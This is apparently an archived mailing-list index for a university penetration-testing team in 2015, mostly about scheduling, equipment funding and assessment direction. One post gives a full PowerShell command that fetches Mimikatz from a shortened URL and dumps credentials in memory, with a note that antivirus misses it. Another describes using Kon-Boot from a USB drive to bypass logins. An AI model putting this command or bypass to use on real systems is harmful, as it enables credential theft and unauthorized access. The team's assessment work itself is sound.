- USHE-assess - devlists.utahtech.edu

device
by Dustin Udy 06 May '15

06 May '15

Could we use this for the password cracker? https://www.xi3.com/store/system/piston

4 7

rekall
by Dustin Udy 01 May '15

01 May '15

In case you guys haven’t seen this tool. It looks kind of cool and maybe in my free time I’ll experiment a little with it. http://www.rekall-forensic.com/about.html

1 0

SUU Assessment
by Andrew Goble 29 Apr '15

29 Apr '15

I need to get the hotel booked for SUU. June 1 - 5 By my record: Chuck, Jon, Dave, Jake coming for this one You are all planning on coming down Sunday evening or no? Thanks, Andrew

2 1

20 critical controls
by Dustin Udy 24 Apr '15

24 Apr '15

Hey everyone, I have apparently forgot a few things when it comes to our report, so I am reaching out to you all for a little reminder. When we are writing about a control do we change the “Recommendations” section at all? Don’t worry Andrew I am almost done and hope to have it to you before for Chuck turns his in. ;) Thanks, Dustin

1 0

Assessments Re-authorization
by Andrew Goble 22 Apr '15

22 Apr '15

Hey all, The CIOs reauthorized assessments for the next two fiscal years at their last meeting. As it happens, the budget was never adjusted when we went to a two-year cycle so there are some extra funds available this fiscal year and I think we'll use that money to purchase our hardware refresh stuff. I also need to inform the ISO committee (which some of you sit on) that we're going to keep going. I'm going to ask for input from that group on direction for the assessments, but I also want to make sure that the team has input as well. Ideas we've thrown around in the past include: Enhanced physical / social engineering testing (proximity stuff, duckies, etc) Longer assessment time period, more work done before showing up on campus, etc. Possibly allows the team to assume a quieter stance to avoid detection. (Is this feasible for a part-time team?) SANS Critical Security Controls (make sure pen-testing meshes with SANS controls) What other ideas or direction would you like for the assessments moving forward? Thanks, Andrew

1 0

Equipment Request
by Andrew Goble 13 Apr '15

13 Apr '15

Hey, I just learned the CIOs are meeting this Friday and will likely discuss and approve continuing the assessments for the next couple of years. I am going to ask for some equipment refreshment funding. What do you think we need for a core equipment refresh? I want to stop lugging that giant box around, we could continue to use the gear in it, just want to leave it in one place. What do we need to buy to take on site with us? Core Gear: Beefy workstation laptop or a tower workstation with lots of RAM and space for Kali, Nessus VMs, etc. Maybe 2? Small hardware firewall, maybe a small form factor Atom box running PFsense or something similar to handle the network. 8 - 12 port managed switch. Cracking box - Good pile of RAM and 3 or 4 nice GPU cards. What other toys do you want? (proxmark, more PIs, duckies, etc) If you want it, give me a rough number on quantity and what it will cost? I need a pretty good idea of the dollar amount we want to ask for by Friday at noon. Thanks, Andrew

9 15

SUU Assessment
by Andrew Goble 02 Apr '15

02 Apr '15

Can you all check calendars for June 1 - 5 and let me know if that works for you all for the SUU assessment. Also, is UVU or the UofU willing to send two or should I see if Nate wants to join us again. Thanks, Andrew

3 2

Mimikats
by Jon Barclay 01 Apr '15

01 Apr '15

This command runs mimikats using PowerShell. It runs fully in memory and doesn't touch disk except if you choose to dump the output to a text file. So far I haven't seen AV detect it. powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" > mimikatz.txt

3 3

Gerald
by Jon Barclay 25 Mar '15

25 Mar '15

1 0

Kon-Boot
by Chuck Kimber 17 Feb '15

17 Feb '15

I've had several inquiries and requests for the Kon-Boot stuff I used at the last assessment. Here is the file you can download and run. The .exe will format the thumbdrive and install the fake bios images for both Windows and Mac. https://usu.box.com/s/mjs7s0880mv4v407hxadbz805h56z9mv <https://usu.box.com/s/mjs7s0880mv4v407hxadbz805h56z9mv> Kon-Boot's official website is here: http://www.piotrbania.com/all/kon-boot/ On a windows box just usb boot. On Mac, I learned, you have to hold down the <alt> key while booting then select the uefi boot. I first caught on to it from Offensive-Security , when they used a Kali NetHunter tablet to plug in and do the same thing. Obviously a USB thumbdrive is much more discrete...

1 0